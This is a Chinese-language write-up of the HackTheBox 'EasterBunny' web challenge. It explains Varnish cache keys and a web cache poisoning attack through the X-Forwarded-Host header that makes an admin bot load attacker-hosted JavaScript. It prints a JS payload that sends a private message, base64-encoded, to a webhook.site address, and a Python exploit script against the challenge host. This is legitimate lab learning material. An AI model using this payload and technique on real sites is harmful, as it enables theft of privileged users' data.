EasterBunny on HackTheBox

Before all

看著整份檔案後直接昏厥
試著自己解了一下發現想都想不通,就去看別人write up了…
結果Burp Suite直接抓包一直過不了,最後用python requests手刻腳本才成功(倒)
但是學到好多東西,開心開心ww

Cache Analyzation

Cache就是對於頁面的暫存,大致分為server端和browser端。
browser端蠻好理解的,像是如果重複造訪一個網頁但你現在是斷網的還是可以儲存方才內容。
而server端則是發生在兩次request的cache key是一樣時,給予跟剛才相同的結果回傳。
這題是要利用server端的暫存帶來的漏洞進行利用。
來分析cache.vcl這支檔案(用來定義整台機器的Cache)
cache.vcl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
vcl 4.1;

backend default {
.host = "127.0.0.1";
.port = "1337";
}

sub vcl_hash {
hash_data(req.url);

if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}

return (lookup);
}

sub vcl_recv {
set req.http.X-Forwarded-URL = req.url;
set req.http.X-Forwarded-Proto = "http";
if( req.http.host ~ ":[0-9]+" )
{
set req.http.X-Forwarded-Port = regsub(req.http.host, ".*:", "");
}
else
{
set req.http.X-Forwarded-Port = "80";
}

if ( !( req.url ~ "^/message") ) {
unset req.http.Cookie;
}
}

sub `vcl_backend_response` {
if (bereq.url ~ "^/$" || bereq.url ~ "^/letters") {
set beresp.ttl = 60s;
} else if (bereq.url ~ "^/message") {
if(beresp.status != 200)
{
set beresp.ttl = 5s;
}
else
{
set beresp.ttl = 120s;
}
} else if (bereq.url ~ "^/static") {
set beresp.ttl = 120s;
}
}

sub vcl_deliver {
if (obj.hits > 0) {
set resp.http.X-Cache = "HIT";
} else {
set resp.http.X-Cache = "MISS";
}

set resp.http.X-Cache-Hits = obj.hits;
}

首先,backend default段落定義了後端cache服務建立在127.0.0.1,端口1337
再來,是vcl_hash的段落,這個段落定義了cache key的計算方式:

1
2
3
4
5
6
7
8
9
10
11
sub vcl_hash {
hash_data(req.url);

if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}

return (lookup);
}

其中,req.url代表了網址的路徑url:
https://wha13.github.io/hello_world?id=1的req.url會是/hello_world?id=1
req.http.host代表了封包裡的Host: header。
vcl_recv段落定義了各項參數抓取的 header 訊息。
最後,vcl_backend_response則是定義了cache要針對哪些路徑作暫存,暫存時間為多久:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sub `vcl_backend_response` {
if (bereq.url ~ "^/$" || bereq.url ~ "^/letters") {
set beresp.ttl = 60s;
} else if (bereq.url ~ "^/message") {
if(beresp.status != 200)
{
set beresp.ttl = 5s;
}
else
{
set beresp.ttl = 120s;
}
} else if (bereq.url ~ "^/static") {
set beresp.ttl = 120s;
}
}

如果正則匹配到letters那是60秒,message則在非200的status code下圍5秒,其他為120秒,static為120秒。
vcl_driver就是定義回應的header告知cache訊息。

Cache Poisoning

回到剛剛的vcl_hash一下,會發現控制cache key的元素都是在送封包時可以偽造的。
觀察route.js連接bot.js之片段
route.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.post("/submit", async (req, res) => {
const { message } = req.body;

if (message) {
return db.insertMessage(message)
.then(async inserted => {
try {
botVisiting = true;
await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
botVisiting = false;
}
catch (e) {
console.log(e);
botVisiting = false;
}
res.status(201).send(response(inserted.lastID));
})
.catch(() => {
res.status(500).send(response('Something went wrong!'));
});
}
return res.status(401).send(response('Missing required parameters!'));
});

bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const visit = async(url, authSecret) => {
try {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();

await page.setCookie({
name: 'auth',
value: authSecret,
domain: '127.0.0.1',
});

await page.goto(url, {
waitUntil: 'networkidle2',
timeout: 5000,
});
await page.waitForTimeout(3000);
await browser.close();
} catch (e) {
console.log(e);
}
};

會發現請求的req.url/letters?id=${inserted.lastID},而req.host127.0.0.1
假設現在的末id是10,那下一篇就是11,造成Cache Poisoning的Payload應該要是:

1
2
GET /letters?id=11 HTTP/1.1
Host: 127.0.0.1

再來,觀察route.jsletters的片段:

1
2
3
4
5
router.get("/letters", (req, res) => {
return res.render("viewletters.html", {
cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
});
});

其中,req.hostname的值是綁在X-Forwarded-Host的header上,這邊定義的cdn會傳到templates上去…
viewletters.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{% extends "base.html" %}
{% block content %}
<h1 class="title" style="margin: 0">Viewing letter #<span id="letter-id">1</span></h1>
<h2 class="title" id="error-message" style="visibility: hidden;">&nbsp;</h2>
{% include "letter.html" %}

<div class="letter letter-small">
<div class="letter-inner letter-inner-small">
<a href="/">Write New Letter</a>
</div>
</div>

<div id="previous" class="sign-post">
<div class="sign-post-text">
<a href="#">View previous<br><br>letter</a>
</div>
</div>

<div id="next" class="sign-post flipped">
<div class="sign-post-text">
<a href="#">View next<br><br>letter</a>
</div>
</div>

<script src="viewletter.js"></script>
{% endblock %}

會載入viewletter.js,而它引入了base.html…….
base.html中有這麼一行:
<base href="{{cdn}}" />
啊哈!
邏輯出來了,因為暫存與cdn取值的方法req.hostname,只要自訂X-Forwarded-Host到自己的host,往/static/viewletter.js塞payload進去就好。
理論header:

1
2
3
GET /letters?id=11 HTTP/1.1
Host: 127.0.0.1
X-Forwarded-Host: william957-web.github.io

Exploit

自己的惡意js,抓id=3的文章,然後base64丟webhook
https://william957-web.github.io/static/viewletter.js

1
fetch("http://127.0.0.1/message/3").then(res => {return res.text();}).then(res =>fetch("http://webhook.site/ae5a8c4b-5567-4da6-abbf-cbb4908426fe?log="+btoa(res)));

python腳本(因為header和環境那些最乾淨)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import time
import requests as req

url='http://94.237.62.195:59541'
my_server='william957-web.github.io'

headers={
"Host":"127.0.0.1",
'X-Forwarded-Host' : my_server
}

web=req.get(f'{url}/message/1')

cur_id=web.json()['count']

web=req.get(f'{url}/letters?id={cur_id+1}', headers=headers)
if my_server in web.text:
info("Cache poisoned!!!")

req.post(f'{url}/submit',json={'message' : 'pwned by whale120'})
time.sleep(5)

image
FINALLY!!!

References

  1. https://www.anquanke.com/post/id/213597
  2. https://h0pp1.github.io/posts/easter-bunny/